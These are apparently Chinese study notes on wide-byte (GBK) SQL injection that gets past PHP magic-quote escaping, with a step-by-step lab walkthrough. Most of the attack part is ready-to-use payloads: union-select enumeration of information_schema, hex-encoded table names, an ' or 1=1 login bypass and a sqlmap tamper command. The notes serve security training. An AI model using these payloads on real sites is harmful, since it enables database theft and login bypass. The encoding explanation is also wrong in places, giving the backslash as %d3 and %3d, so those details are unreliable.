宽字节注入
魔术引号:
magic_quotes_gpc的作用:
当PHP的传参中有特殊字符 ' " \ 就会在前面加转义字符'\',来做一定的过滤
' 和 " 内的一切都是字符串,我们输入的东西如果不能闭合单引号和双引号,
我们的输入就不会当作代码执行,就无法产生SQL注入
解决:
1.找一个不需要闭合的地方
=> select * from news where id=1
2.宽字节注入.
魔术引号在PHP5.4以上的版本被取消了,通过php配置文件也开不起.
addslashes() => 魔术引号对等效果的函数
GBK:两个字符组成一个汉字,占2个字节.
UFT-8:一个汉字占3个字节.
% => URL栏里的是URL编码 => 16进制.
\ => %d3
传入一个字符和原本的\凑成一个汉字.
' => \' => %d3' => id='1\' -- qwe' ,无法闭合.
%df' => %df\' => %df%d3' => id='1%df%3d' -- qwe';%df%3d被解析成汉字,实现闭合.
条件:
1.实战,尝试即可
2.数据库被设置了GBK编码等,不是万国码(UTF)
题目1: http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1
1. http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1
%df' order by 4 -- qwe
#尝试字段数,3字段
2. http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1
%df' union select 1,2,3 -- qwe
#2,3位显示
3. 2或3 => database()
#得出库名'widechar'
3.http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1
%df' union select 1,2,table_name from information_schema.tables where table_schema=database()limit 1,1 -- qwe
#得出表名'china_flag'
4.http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1
%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='china_flag' limit 1,1 -- qwe
#错误: where table_name=\'china_flag\'
#数据必须用引号括起来
=>1. 十六进制 => 在数据库中可以接收16进制的数据, 0x7e => ~ (0x 它只能是字符串,不能成为代码)
将china_flag替换成16进制,去掉' '.
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=2 %df' union all select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 2,1-- qw
=>2.套娃(子查询) 不推荐
http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1
%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and
table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)-- qwe
#得出字段名'password'
题目2: http://inject2.lab.aqlab.cn:81/Pass-17/index.php
1. 汉') or 1=1 -- qwe
#utf-8: 3个字符
GBK: 2字符
\: 1个字符
#外传一个汉字(utf-8) 3个字符
进了数据库GBK 3+1 = 4 ,两个汉字
#登入成功
宽字节注入的局限: 很明显.
用sqlmap跑宽字节注入: --tamper unmagicquotes --dbs